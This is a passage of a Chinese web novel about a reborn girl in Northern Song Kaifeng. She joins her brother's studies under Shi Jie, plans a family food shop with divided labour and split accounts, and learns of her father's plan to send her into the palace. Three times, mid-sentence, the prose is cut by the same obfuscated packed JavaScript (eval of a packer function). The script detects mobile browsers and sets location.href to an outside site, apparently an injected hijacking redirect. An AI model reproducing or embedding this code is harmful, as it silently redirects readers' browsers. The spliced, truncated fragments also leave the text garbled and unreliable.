至此，仪礼告成。吴夏正式成为石介门下弟子。 随后，就是社交时间了。石介被罢免前品阶比吴军高，被喊一声大人无可厚非，但是他现在一白身，倒是不愿意接受被人唤作大人，就让吴父喊石先生就好。 两人这么一来一回的拉扯了几句，他就觉得和一个武夫，实在是找不到话题。吴军也因为要一直想着如何之乎者也，亦是感到疲惫。两人很有默契，就中断了交谈。石介又不便与刘耘娘一个女眷攀谈，目光遂落在吴悦身上。 主要是这个小姑娘视线实在让人无法忽视，从进了门之后就一直直勾勾盯着他，让他有些后背发凉。 挥挥手，召唤上前。 石介很是和蔼的询问，几岁了，都跟着哥哥读了什么书。 来了，表现的时候到了，吴悦深知日后能否和兄长一起上学，真正的参与到政治与文化事务，获得更多的信息，就在此时的一问一答里。 只有了解这些士大夫的思维，用当前这个时代男性的视角看待世界，她才能预判他们的预判，然后提前做出决策来阻击。 15. 第 15 章 她敛衽一礼，脆生生答道："回先生话，我今年五岁，已随兄长通读《尚书》，粗通大义，现正研习《礼记》。" “听说你常观兄长课业笔记，遇到有疑难的地方便追根究底？” “正是。有时候兄长也回答不出来，便会代为请教夫子，让夫子来解答，总是能求得圆满解答的。” 石介见这个幼齿小儿应答如流，不禁生起逗弄之意，于是就说。 “你兄长之前在县学课业尚轻，时间比较空闲。如今他拜了我为师，是要每日刻苦研习经义，恐怕无瑕分身教你了，你怎么办？” “回禀先生，如果您允许，我可以在窗外旁听，如果先生您不喜叨扰，我也可以借兄长的笔记自学。” “如果这两种我都不允许呢？”石介佯作严肃。 吴悦正色凝视，认真地说：“海不辞水，故能成其大；山不辞土石，故能成其高。先生治学海纳百川，自然不会轻慢认真求学之人。” 石介愕然，久久地才说话：“你小小年纪居然还读《管子》？” 吴悦点点头。 仓廪实则知礼节，衣食足则知荣辱，也是出自《管子》。物质基础有了，道德教化才能跟得上。 谁没听过□□呢。 她借用此典，既赞石介治学包容，又隐含求学之志，恰似"海不辞水"之喻，不着痕迹地拍了下马屁。 而吴悦也敏锐地捕捉到石介眼底掠过的一丝惋惜，似在慨叹她非男儿身。 她却泰然自若，性别不是界限。 可惜不是男子大概是这个时代，甚至在后世，对女性能力的褒奖。可是为什么我们要把男性设定衡量才具的标尺？ 哀叹非为男儿，难道不是自困在"成为男性或者超越男性"的焦虑之中；难道不是另外一种形式承认男性身份即等同于能力通行证；难道不是另外一种形式的‘厌女’。 她觉得女孩子天生就很好，偏要以女儿身于这封建世道闯出一番天地。 她的哥哥是石介的弟子，也会是吕希哲的同门师兄弟，如果未来只是求个官做，那是绰绰有余，但是这还不够。 吕氏作为文官集团保守派的代表，吕夷简以“越职言事、勾结朋党”为由掀起景祐党争，吕公著在神宗朝与司马光等旧党联合反对王安石变法，吕希哲继承家族政治理念，其门生多属旧党，进一步巩固了吕氏作为保守派世家的地位。 吕氏家族和其他世家大族，通过恩荫和门生故吏形成庞大官僚网络，保障特权。而改革派大多出生寒门子弟，支持主张以才能晋升，这直接威胁到了保守派的政治根基。 吴悦深知，未来吕氏家族必将成为她的政敌。 她要保下石介的命，为范仲淹这一庆历改革派增强实力，日后就能成为范仲淹的政治同盟。但是这还不够，她的根基依旧薄弱，她需要军队来保护自己，还需要下层的民众拥护。 她希望平民的平均寿命能突破到40岁，希望更多的女孩不要生下来就被扼杀，希望儿童们不要被饿死。平民蜉蝣一瞬，实在太其可怜。 将头转向皇城的方向，目光似乎可以穿透宫墙，看到重重宫闱内端坐在垂拱殿的宋仁宗，吴悦在心中立誓，日后一定要走到那个位置。 ----------------------------------------- 刘耘娘回来时仍有些恍惚，今日不仅她的儿子拜得名师，女儿也被先生盛赞，甚至感叹此女若为男儿必成大器。 "娘"吴悦扯了扯母亲的衣袖，认真央求道："悦儿也要娘缝个小书包，还要买全套笔墨纸砚。如今悦儿用的都是哥哥书房里的笔墨，等正式去听课，可不能在夫子面前借用哥哥的文具了。" 没错，吴悦也被允许可以去旁听。 石介新收的两名弟子学识水平与年龄差距悬殊：八岁的吕希哲由已弱冠之年、在石介门下治学多年的何群负责启蒙。 而吴夏的课业则安排在上午，作为亲妹妹的吴悦得以一同听课。 石介不让吴悦与吕希哲同堂授课，实为顾虑吕家观感。这对年纪相仿的小儿女若朝夕相处，唯恐吕家误会他有意撮合武将之女与公卿嫡子，以为他故意安排个破落户黏上人家吕家，而且也会伤害女方的名誉。 因此吴悦虽获准旁听，却仅限当前阶段。待两年后吕希哲完成启蒙课业，与吴夏同班上课，届时吴悦便只能归家自学，通过抄录笔记延续学业咯。 "没错，爹爹给你买套新的，咱们以后用自己的，不借别人的。"吴军将小女儿抱在怀中，越看越欢喜。这孩子聪明伶俐，生的又好，若好好栽培定有一番大作为。 他终于开始认真琢磨前些日子曹俣的话。 原来他与同为供备库副使的曹俣同在武器署当值，其父吴温早年又曾在曹俣祖父曹彬麾下效力，这层渊源促使两人渐生亲近，常于公务结束之余聚饮。 数日前酒酣耳热之际，曹俣提及自家皇后堂姐打算物色几名小娘子入宫，陪伴4岁就被接入禁中教养的高滔滔。 原来前朝早有些风言风语，说曹皇后借"排解宫闱寂寞"之名，将自家外甥女接入宫中，实则刻意安排与养于宫中的赵宗实同食共学，促成青梅竹马之局，日后好造成‘皇家儿娶皇后女’，目的也只为曹氏谋划，扩大外戚的势力。 当今圣上是否能诞育皇嗣、赵宗实是否继位尚难断言，但曹皇后未雨绸缪已是不争事实。即便不能入主中宫，武将家庭出身的高滔滔若能联姻宗室子弟赵宗实，对曹氏来说，亦不失为良策。 吴军本来打算当这些为酒后戏言，他明白曹俣这番话其实存了试探，试探他是否有想送女儿入宫的心思。但是女儿年仅五岁，他确实有些不舍得。 并且他之前也没有太大的抱负，只想转任文职，给儿子谋个好出身，待其补入国子监后，授个七品小官，迎娶品级相当的文官之女，膝下再育几个孩子，日后再让他的孙子好好读书。如此数代经营下，吴家也可以跻身诗书簪缨之列，洗去武将出身的印记。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609430|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然而自举家入京两月余，他与幼女朝夕相处，愈发察觉此女天资聪颖且容色姝丽。又见儿子得拜大儒门下，心中渐渐升起了宏愿，若能培养个进士，日后儿子位列紫袍大员也是可能的。 女儿自然也要悉心教养，若能借曹俣之力入宫，寄养在曹皇后处，运气好了得赵宗实青眼，运气差了也能出宫后皇室教养的履历嫁入簪缨世家。儿子和女婿未来在官场上互相提携，吴家鼎盛可期。 他打定主意，日后寻个由头邀曹俣过府，相看小女资质。 因此晚上，刘耘娘再和丈夫商议起铺子之事，两人就细节探讨一番，又细细核算了家中的资产，决定还是尽量买下店铺，本已经躺下准备入睡，黑暗中，她却突然听到丈夫交代。 “先生也说咱们女儿聪慧，以后对她的教育也要尽心。她兄长若学有所成，她未尝不能嫁入高门。咱们要富养女儿，往后她所求之物，你若觉得不过分便尽量满足。” 刘耘娘心头一凛，随即有些苦涩的应了一声。 她隐约意识到丈夫对幼女有所图谋，却无话可说，只能默然接受——女子的命运，可不就是这般由不得自己么？ 吴悦对此一无所知，只觉得刘耘娘突然不再经常板着脸骂她了，无论她想做什么，都一个‘好’字。她爹也是，每次见到她都笑意吟吟，还经常从外面带一些新鲜玩意给她。 平静的水面下肯定暗潮涌动，她想不明白，也只能按兵不动，兵来将挡水来土掩。 不过，这也算是天赐良机，怎么能白白放弃。 因此她试探的提了嘴想在家中砌一个土窑，居然当场一口答应，让她精心准备的说辞全无用处。 原本她打算借口从书中看来的驴肉火烧和肉夹馍甚是鲜美，她也想学着复刻出来，日后咱家还能靠这个赚大钱云云为借口。 不对劲。 她开始细心的观察了起来，发现祖母手腕上少了一个据说是祖父送与的金镯子，还发现她娘的妆匣里少了串大姐和姐夫第一次回门送的珍珠项链。 不过这只能说明家中缺钱，还是不能解释她爹娘对她的态度。 就这样上午跟着哥哥去读书，下午回家练字，晚上自娱自乐画一些青枣看不懂的鬼画符。 刘耘娘已经把砌窑的师傅请来了，家中的王婆居然一改往日的寡言少语。就土窑规格、炉膛构造、通风口设计及防火砖材质等细节，与师傅展开专业探讨。 吴悦这时才知道王婆居然是河北西路保州人，也就是现在的河北保定人。 因北辽连年侵扰，她爹爹那代就内迁到南阳落户，而王婆最拿手的居然就是做饼，不过他们老家称作火烧。 这就对了，她暗自点头。 根据文献记载，驴肉火烧的起源可追溯至宋代漕帮与盐帮的争斗。相传漕帮得胜后，将缴获的毛驴宰杀炖煮，夹入当地火烧中食用，逐渐形成这风味小吃。 虽然各家文献对具体起源说法不一，但是不管怎么样都和河北保定的漕河镇有关。 16. 第 16 章 不过驴肉供应不便，肉夹馍显然更具可行性，采用的就是便宜的猪肉。 早在唐代的文献里已经有了“腊汁肉”夹饼的记载，后世的西安肉夹馍则形成于明清时期。此刻，她想让这道美食提前问世。 毕竟，只是单纯洒满芝麻的饼有什么好吃的，既然已有加入蜂蜜的髓饼，为何不能创新一款夹着秘制猪肉的肉夹馍？ 经数十种香料慢炖数小时，肉质酥烂到"肥而不腻，瘦而不柴"，红亮的肉汁中咸香微甜，香料与肉香完美交融，再配以烤的酥脆的芝麻饼肯定会虏获东京城人的心。 蹲在院子里，吴悦浮想联翩，仿佛已能感受到那令人垂涎的美味。 她决定了，在土窑还在垒砌期间，人也不能闲着。 先把猪油炼出来。 喊上她的小帮手青枣，去肉铺切一些新鲜的猪板油回来。 猪油的炼制其实很简单，只需要取三斤新鲜板油切成骰子块，置于铁锅中，注入井水没过油块。待灶火催沸，水汽蒸腾散尽，锅底便凝出琥珀色的液态油脂。将其舀入预先投入数粒黄豆的陶瓮，置于阴凉处静置，油脂渐次凝固成雪白色脂膏。这样加了黄豆的猪油可以久放不苦，如果做的量大怕坏，还可以加些盐。 而锅底剩下的就是猪油渣了，焦香四溢，如此香味吸引来了家中所有人，连吴王氏都连吃了好几块。 晚上，又一次下职晚归的吴父吃到了用猪油煮的索饼。 细面裹着油亮的青菜，面汤也泛着奶白色的涟漪。 他端起碗来"呼噜噜"一气吸尽，连残汤都喝的干干净净，抹了把嘴，忙追问这是什么。 刘耘娘笑着回答："是悦娘用猪肉熬炼的猪油，原以为用水煮会焦苦，不想竟熬得这般清亮。今夜这汤饼便是用这猪油烹制，女儿还说这猪油能做出更多佳肴呢。" 虽然说吴家是中阶武官，家中也算富裕，但是芝麻油也不是顿顿都能炒着吃的，很多时候也只是清汤煮菜，寡淡无味。 这个猪油一来，就立刻受到了所有人的青睐，尤其是目睹那惊人的出油率，再考量猪肉低廉的市价，更是觉得此物大有可为。 刘耘娘原计划只开个分茶店，也就是后世提供简餐的快餐店，售卖火烧，再辅一些各类口味的酸奶做甜品。没想到猪油的鲜香彻底颠覆预期，让她想重新规划铺子的经营方向，思索开食店的可能。 吴父却认为不必这么急着下定论，他和女婿还没有议定店铺购置事宜。 虽说女婿已首肯，但是还要征得家中的父母许可，待签订契约并报备官府完成过户，方好着手店面改造、经营规划及后厨装修等事宜。此外，账房与掌柜人选也需要慎重考量，还需要雇佣一些帮佣和帮厨。 他倒是有了些想法，可以招聘一些军中因残退伍，现在也没什么营生的弟兄。还有一些战死沙场，不得不独自抚养子女，生计维艰的遗孀。 这些人都曾随他出生入死，用起来自然也是放心的。 “先不急，容我从长计议。”安抚了下妻子，他打定主意，过些日子便前往几位伤残旧部家中探望。 而隔日恰好是旬休，按惯例每月的初十、二十、三十都会休假三日。不巧的是，今年端午节和旬休撞车了。 依制端午本应仅放单日，如此一来，原本的四日假期便缩水为三天。因端午与旬休重叠，北宋官吏们就无端少了一日假期。 难得不用上职，吴父打算今日就去那几个旧部家中探望一二。 刚准备出门，恰好又看到今日因端午也闲在家中的儿子和女儿。他略一思忖，便命儿子牵出厩中两马匹，自己抱着幼女上了一匹，让儿子也随同一起，一前一后径向南熏门附近的街坊行去。 这处街坊毗邻外城南熏门，望去多是低矮的土坯房，院墙也仅仅刚到人腰。更有甚者，几处屋舍半颓于地，但是却还能看到炊烟袅袅，亦有人居住。 路上居然瞧不见几个健壮青年，到处都只能看到面无血色的老弱扶残在颤颤巍巍的做工、一些衣衫破烂的小子在家中劈柴、一些小娘子蹲在臭水沟旁洗衣服。 吴夏大为震惊，东京这里可是天子脚下，他在老家的乡下都没看到过这般贫寒景象。 吴悦的惊讶却别具缘由，眼前的贫困她早心知肚明，再繁华锦绣的大城市也有破落肮脏的闾巷。 "朱门酒肉臭，路有冻死骨"，勋贵珠玉之靡与闾阎藜藿之苦，是每个时代都会存在的现象。 她只是有些震惊她爹居然带一个小女孩来这种地方，就不怕稚子受惊？ 父女三人在一些逼仄狭窄的小巷中辗转多时，才来到今日探访的目的地。 这是个连门都没有的院子，院墙也就是几根竹篱围着。能看到一位鬓发如霜的老妪正俯身洗着衣服，身上所穿的粗布衣衫已洗得发白，发髻用破布条胡乱捆扎，龟裂渗血的双手在冷水中浸泡着，身旁竹篮里躺着个吮指啃得正香的婴儿。 忽闻到马蹄声近，老妪的脸色微变，待看清来者容貌，就又舒展眉梢。她慌忙放下手中在洗的衣服，用补丁摞补丁的围裙擦拭双手，颤巍巍欲行大礼："大人......"吴父立即下马抢前半步托住她佝偻的身躯。 “大娘，小六家的媳妇呢？还有你家那个大孙女，怎的也不在？”四下环视了一圈，发现只有老妪和这个竹篮里的婴儿，他开口询问。 “回大人的话，我儿媳去前头的店里帮忙做工了。至于大丫，去城外拾柴去了，约莫等会就回。” 老妇觑了眼吴父抱在怀中的吴悦和后面的吴夏，恭敬地问“这是公子和小娘子吧？公子真是一表人才，小娘子也是好看的紧。” “正是，给你们大娘问好。”微微颔首，吴父示意两个孩子见礼。 没见到人，他也不打算久等，解下腰间钱袋，给老妇取出几贯钱，叮嘱她等待孙女和儿媳回来后，就去内城医者街寻他，他有生计安排。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609431|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老妇闻言眼眶泛红，竟然想扑通跪着再磕头谢恩，又被吴父拽了起来。 他们三人又往南熏门附近的闾巷深处行去，如果说第一家应该是最惨的最穷的、最破，连侧屋顶的茅草都被风掀得七零八落。接下来的那几家虽然屋舍稍整，却家家都有肢体残疾者，或独臂持杖，或跛足曳藜，或盲者倚墙，但是相通点则是这些人一见吴军，皆仆地叩拜，口称"指挥使大人"。 每至一家，她爹都留了几贯钱，然后正色叮嘱自己过些时日要用人，每家先出一个，不限男女，给开月钱，去他要开的铺子里干活。 这么一圈转下来，吴悦已经明白了她爹想干什么，家里想开店，她爹这是来招人的。 今天他们来探访的这些人家，肯定就是吴父之前手下的兵，因战致残解甲归田，这是趁着端午节来送温暖去了。他们既然不能当兵了，就没有军饷俸银，也没有谋生技能，家庭的负担都在家中子女和妻子肩上。 那么不如去她们家食店工作，吴军不打算去找牙行买人，而是给这些曾以血肉之躯卫家国的老卒，辟开一条堂堂正正的谋生之路。 在这些人家当中，第一户应该称最为凄惨，家中男人估摸早已阵亡，只剩下婆媳二人拉扯着两个孩子，其中还有个尚在襁褓的婴儿，看样子她爹是打算给这母女俩都寻份差事。 吴悦倒还能平静接受眼前的一切，可她兄长却仿佛遭受了巨大打击，脸上满是难以置信的神情。 走出这片破败不堪的闾巷后，吴夏才压低声音问道：“朝廷难道就不管这些士兵了吗？” 吴父长叹一声，语气中满是无奈：“朝廷虽说发放了一些抚恤金，可家中缺乏劳力，没有进项，钱总有花光的一天。全是等着吃饭的老弱病残，再加上不时有人染病，那点钱很快就花得一干二净。这些人本就是老家无亲无故、又无田产的军户，就只能在东京城里打些零工，活一天是一天。” 此时当兵的比不上有田地耕种的农民，后者起码有稳定的收入。他们又没有其他谋生技能，只能在战场上拼命。 谁家闺女也不愿嫁给朝不保夕的军汉，不想年纪轻轻就守寡，照顾一大家子老老少少。 今日所见侥幸成家的只是少数，因为家中兄弟众多，又无妻无子，没人耗费心力去寻，曝尸疆场也无人收殓。久而久之，伤痛稍愈，便回归平常日子，这些逝者也就渐渐被遗忘了。 侥幸没死在战场上的，同样难娶妻成家。这些士兵便靠赌博、酗酒、滋事生非打发日子，扰得民间不得安宁，更坐实了‘兵痞’的恶名。市井百姓见士兵闹事就避之不及，良家女子自然更不愿嫁与他们。 这就是一个恶性循环，很难办。 在后世也就是“冻死不拆屋，饿死不掳掠”岳飞的岳家军，以及也将这一原则写入《纪效新书》的明朝戚继光的戚家军，和“不拿群众一针一线”的解放军能得到人民真心地拥护，不会被视为洪水野兽。 17. 第 17 章 气氛陡然凝重起来，三人都沉默了片刻。 终于，吴父猛地一甩马鞭，径向内城方向疾驰而去：“走，我带你们看看咱家的铺子。” 凌仪街上，一处被木板围挡的铺面传来叮叮当当的斧凿声。三人从特意留作工匠出入的角门进入，首先映入眼帘的便是正在改建的后厨，以及堆满建筑材料与杂物的后院。 刘耘娘最终决意开一家食店，先推出肉夹馍来打头阵，或者也可理解为火烧夹红烧肉。吴悦改良了红烧肉的做法，搭配时下流行的菹醢（腌制蔬菜与发酵肉酱）。同时，店里还会推出新创的甜髓饼，也就是以猪油和面，内馅加入樱桃蜜煎、李子糖霜及时人喜爱的枣泥。 枣泥制品在东京城十分流行，诸如枣泥菊花饼、枣栗糕，还有被称为‘东京三饼’的太师饼、状元饼、京东饼，均以枣泥为主要内馅。 此外，夏季消暑佳品酸奶碗与冰酥酪也会作为特色产品推出。 粗略巡视一番后，吴军与仍在施工的匠作交代了几项修缮事宜，就携着子女走出铺子。 他遥指街对面的尚书省，拍着儿子的肩膀道："我儿日后当需勤勉，此处就是尚书省，毗邻是开封府与御史台，这正是你将来安身立命的地方。咱们武家子弟，能拜入大儒，和世代簪缨家的郎君成为同门师兄弟，如此机遇，殊为不易，你千万要珍惜啊。" 吴悦见兄长被拍得一个趔趄，却双颊绯红如染，眸中闪烁着憧憬之光，想必已在幻想他日跻身朝堂的场景。 可真行，这和后世的名牌大学一日游有什么差别吗？ 她不由得暗自哂笑，难怪今天带着吴夏出门，原来在这等着设下劝学之局啊。 成年人行事果然步步为营，什么都是有目地的。 她作为老师，这套话术可是太熟悉了，古今中外，好用就行。起码，吴夏现在已经被成功激励起青云之志。 寒门子弟想出人头地，本就需举家族之力，集中资源栽培一人。之后再想拔萝卜带土一样，一人得道鸡犬升天。 只是.....带她出来做什么？总不至于是激励兄长的陪衬吧？ 答案很快揭晓。 视察完铺面，激励完儿子，吴父却并无归去之意。 又等了一会，街道尽头传来蹄声如雷，一匹枣红马疾驰而至。马上之人勒缰停住，翻身下马来一位年约三旬的英武汉子。吴父明显和此人相熟，以兄弟相称，寒暄几句就要一起去酒楼畅饮。 吴悦也这样被裹挟着进了酒楼，挨着父亲坐下，被这位曹姓叔父的目光盯得浑身不自在。 她佯装害羞，低垂螓首，只专注于面前的菜肴，偶尔偷瞄一眼曹姓叔父，又慌忙低头。待她吃个半饱时，就被打发出去，说“大人有要事相商"。 磨磨蹭蹭地牵着哥哥的手挪至门口，将门带上的刹那，吴悦听到了曹叔略带惋惜："年纪委实小了些，宫里不打算再养这么小的孩子，费心费力，这次挑的都是十岁以上的。” 她双眸一沉，却已经是明白了这段时间她爹在谋划着什么了。 联系这个曹叔的姓氏和方才的言语，她猜这个人就是曹皇后族中子弟。听了宫里的消息，打算在外面找些小娘子，送进宫内教养，为高滔滔分担火力。高滔滔和赵宗实同为明道元年（1032年）出生，两人只差半岁，如今皆已12岁。 之前这个曹叔大概误以为，既然他们俩人都是4岁被接入宫内抚养，而且之前曹皇后收养的其他养女都是4岁入宫，那么她一个5岁的小娘子当然也可以。 但是宫内现在的想法却已经变了，赵宗实都近束发之年，再接一些小娘子进宫肯定也是年纪相仿的来，这样才能在外庭和民间之间营造曹皇后为赵宗实广宣佳偶的贤德形象。送一个垂髫幼女可怎么和少年郎君相处？反而更糟非议。 如果她再年长几岁，以十二三岁之龄入宫倒也不失为良策，可以提前在宫里做些规划。但是她现在宫外的事都还没忙完，连个自己的班底都没，手头还没钱，这么进去了那才是两眼一抹黑。 还好因为年纪太小被拒绝了，吴悦暗自庆幸。 在隔壁没人坐的包间玩了一会儿，吴父就和曹叔联袂而出。令人诧异的是，她爹面上并没有沮丧之色，曹叔见到她更是笑意吟吟，显然二人已达成新的共识。 危机意识如芒刺在背，吴悦深知必须加快筹谋她要做的事情了。 在宗法森严的古代社会，女性婚姻完全由父母包办，“父母之命，媒妁之言”是不可违背的伦理准则。拒绝嫁人的女性往往面临家族压迫、社会排斥，甚至要付出生命的代价。 在公认的开明的唐代，《唐律疏议》就明确规定“诸许嫁女，已报婚书及有私约而辄悔者，杖六十”，悔婚即违法。 她虽年仅五岁，然而宋代女子十三四岁就开始议亲者比比皆是，及笄前定亲已成惯例。她的婚姻不是属于自己的，只会是一场交易，若想在这场交易中争取话语权，唯有以实实在在的利益为筹码。 吴悦乖巧地攥着吴父的衣袖，跟小鸡仔一样与那曹叔拜别，父女三人这才回到家中。 而家中前厅，一个身着青布襦裙的妇人和一个与青枣年龄相当的女童正陪着刘耘娘和吴王氏说话。两人一看到吴父回来了，慌忙起身行大礼。 吴军端坐在正堂主位，坦然受了她们的跪拜，才抬手示意她们就坐，随即便将安排事宜简明扼要地告知。 妇人本姓杨，她的父亲也是个大酒楼的庖厨，虽早逝却也教了女儿一些家常厨艺。平日街坊要是有什么红白喜事，也会喊她去厨房帮忙，据说手艺不错。 "我家食店专营新奇菜式，所用猪脂、豚肉与鲜乳都是寻常易得之物。"吴父侃侃而谈，"不比樊楼那些水陆珍馐，需千里贩运，难以购买。正是因为这样的原因，后厨更需要可靠的人，外头牙行雇的人，难保不生异心。" 因此，即日起，她们母女需要每日来吴家后厨学艺，将来她们也要守着食店的灶头，不能让外人窃取到了秘方。 杨氏带着自己的女儿伏地叩谢。 她丈夫死在战场上，虽然获得了抚恤，但是家中没有男子支撑，襁褓中的小女儿尚且需照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609432|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看，必须要有个劳动力专门看着。还总是有一些地痞流氓上门勒索，可怜那点抚恤银早被抢掠一空。 日子苦的，每天睡前杨氏都心想着不如睡死过去，一死了之，但是天一亮又得挣扎着去浆洗缝补，总不能眼睁睁看着婆婆和两个孩子饿死。 还好大女儿大丫虽然才9岁，却很懂事，每日跟着其他大点的男娃一起去城外拾取柴火卖钱，偶尔还能在城门前捡到柴车散落的枝桠弥补家用。 但是如果有了这一份稳定营生，她们就不用再也不用担心凌冽的冬季，不至于被冻毙屋中。 望着杨氏母女踉跄离去的背影，吴悦也看得心中一紧。粗布衣衫空荡荡地挂在这母女俩嶙峋的骨架上，两人的胳膊都细若枯枝。那小女孩也形如雏燕，个头和五岁的她同高，腰间紧缠数匝的布绳竟快与脖颈同宽，磨穿后跟的草鞋勉强用茅草绑着，每一步都似要跌倒。 她眼眶微酸，暗自打定主意，决定还是多展露一些才能出来。她需要更多银钱，能够培养出一套自己的班子，因此食店从筹备时就需要制度化管理，避免一些可以规避的坑，这样才更有利于生成可以一直下金蛋的老母鸡。 再过几天就到她六岁生辰了，曹魏有曹冲五龄称象，唐时有区寄十一岁手刃强寇，她自然也不甘人后。 她略作思忖，便向仍坐在厅中的吴父和刘耘娘说道。 “可让大丫学炼猪油，让她娘杨氏专攻红烧肉制作，再请人来家里传授酸奶做法。这三人专门在咱家后厨制作核心食材，做好后送往食店。其余人可安排到店里工作，有专人负责烤火烧，有人侍奉堂食，再设一名厨子按客人需求调制不同口味的肉夹馍，另派一人拼配各式酸奶。此外，还需雇采购人员，专门负责原料采买。” “通过分工，每个环节只接触部分流程，从而降低秘方泄露风险。比如，采购人员只负责买原料，不知具体配方；制作人员在家处理炼制猪油、腌制五花肉等关键步骤，却不了解最终调味；店内人员负责最后调味，却不清楚原料的具体制作过程。如此可避免单个人掌握全部秘方，不过仍需用契约约束。”她继续侃侃而谈 后世的预制菜其实就是这个逻辑。客人点菜后只需要加热预制品。店里的厨师只需要简单佐味和提供一些凉菜和主食。 “这样的分工也可以提升效率，训练熟练工以节省时间，因为每个环节的人都只专注于自己的任务。杨氏可以批量炒制红烧肉，大丫可以专注熬制猪油。而驻店的人员则可以快速响应食客需求。负责采购的人通晓市价，寻找不缺斤少两，且足够新鲜的肉铺蔬果。” “我们还可以通过这样的分工来实现清晰的账目管理，通过分开记录各部分的支出和收入，更清晰地了解成本和利润。例如将采购的开支单独记录，制作的开支比如木材燃料和原料损耗单独记录。店铺的日常运营开支，就是员工工资和每日营业额，以及损耗也单独记录。这样“三账分立”，就可以更精确地计算各部分成本。这样，当我们发现猪肉采购价过高，就可更换一个肉铺去买，发现器物耗损也可以及时补上。” 18. 第 18 章 其实就是通过分工来保护秘方和提高效率，同时实现清晰的账簿记录。 对后世人来说一点也不陌生，但是在当前的北宋算是一大创举了。 北宋时期还采用“流水账”，（也称“日记账”），就是以时间为顺序，逐笔记录所有的经济活动，不分收入与支出，仅标注时间、事项和金额的单式记账法。 所有收支按时间顺序记录，没有分类，导致难以统计特定项目的支出和收入，难以了解整体财务状况，比如利润、成本等。 记录简单，没有核对机制，掌柜或账房可通过漏记、虚增支出等手段贪污，例如将私用款项记为“购柴支出”，因流水账无细分科目，舞弊行径难以察觉。 如果店铺生意越做越大，流水账的记录也会越来越多，想要查询一笔交易需要大量时间和人力来查阅。而且也会在征收纳税时，过于依赖胥吏估算，为胥吏借机勒索"查账费"提供可乘之机。 虽然也方便了商户逃税，通过隐瞒收入流水，减少纳税基数，但是隐藏下来的钱有多少进了账房和掌握兜里，有多少又进了你兜里，这就是两说了。 刘耘娘细思家中管账，为求清晰便利，眼下本就分作三部分：丈夫在外应酬的酒食贽礼，单独立账；她与婆婆、两个孩子的日常开销，包括笔墨纸砚、裁衣布料、婆母药膳等，另设一册；再有柴米油盐、车马费及王婆、青枣等仆佣的月俸，归为第三类。 每月收到丈夫的月俸与职田收入后，她都会按旧例比例规划下月支出，无奈总有突发事件导致超支，只得先从私房钱里垫付，每逢月底算账都头晕眼花。经女儿这么一说，她恍然觉得或许该将家中账目改得更明晰，分作收入、支出、现存银钱三类。 吴父听罢亦有触动。自调任武器署，他便因账目混乱、兵器铸造粗劣而头疼不已，想追查缘由却无从下手。女儿提及的“三账分立”之法，让他隐约抓到些头绪，虽尚不明晰，却觉得值得借鉴，需再细细琢磨。 吴夏对这些庶务门道全然不懂。家中从不让他沾染此类琐事，只催他专心读书。 北宋的官员选拔以诗赋、经义为核心，士人通过科举入仕后，普遍缺乏财税、法律、工程等实务经验。 当时官与吏分工明确，形成“官主决策，吏掌实务”的格局。诸如文书处理、赋税征收、户籍管理、仓库调度、案件记录等琐碎却关乎国本的事务，皆由吏员操持。 由于这些职事需要专业技能，吏职往往被家族长期把持（如“户房书吏”“刑房典吏”），形成世袭化的专业壁垒。例如户房胥吏世代掌管田亩鱼鳞册，即便新知府到任，也难以核实其中真伪。 这些吏员熟稔援引旧例的手段，常借“祖宗成法”之名曲解政策。如王安石变法中的青苗法，部分地方胥吏竟套用前朝赈贷旧例，将法定二分利息盘剥至五分，致使朝廷政令无法正确下达推广。 官员任期通常不过三年，且频繁调动，而吏员则长期任职。若官员触犯吏员利益，后者便以“文书不全”“程序有误”等借口搁置政务，直至官员妥协或离任。 这种局面导致官员不愿得罪吏员，甚至不得不主动向吏员请教实务。官有合法权威却无实操能力，吏有实务权力却缺乏道德约束，百姓苦于苛政却投诉无门，实为北宋积弊之一。 瞧着儿子儿媳和孙子这愣头愣脑的模样，吴王氏心中暗自鄙夷。这小孙女的与众不同，她早瞧得分明。到底她也是历经世事的人，看得就是透彻。 当年刘耘娘生下吴悦，整个坐月子期间都是她亲自照料，就发现这孩子打小就不像寻常婴孩，不哭不闹，饿了只轻轻哼唧，睡前必定要排便，夜里也从不需要人起夜照管。 且不喜被人触碰，稍有接触便哭闹或闪躲，直到一岁能开口说话，才渐渐愿意与人亲近。 吴悦在厅中侃侃而谈后便想溜之大吉，临走前不忘找补一句，振振有词道，这是在老家时，和邻家小娘子玩市井游戏，用石子当钱，每次她都大赢！ 厅堂静默片刻，吴父这才开口：“半月后便是悦儿的生辰，我打算带全家去城外玉仙观祈福。” 他此刻担心幼女聪慧过人，恐有早夭之相，感觉需要求神保佑一二。 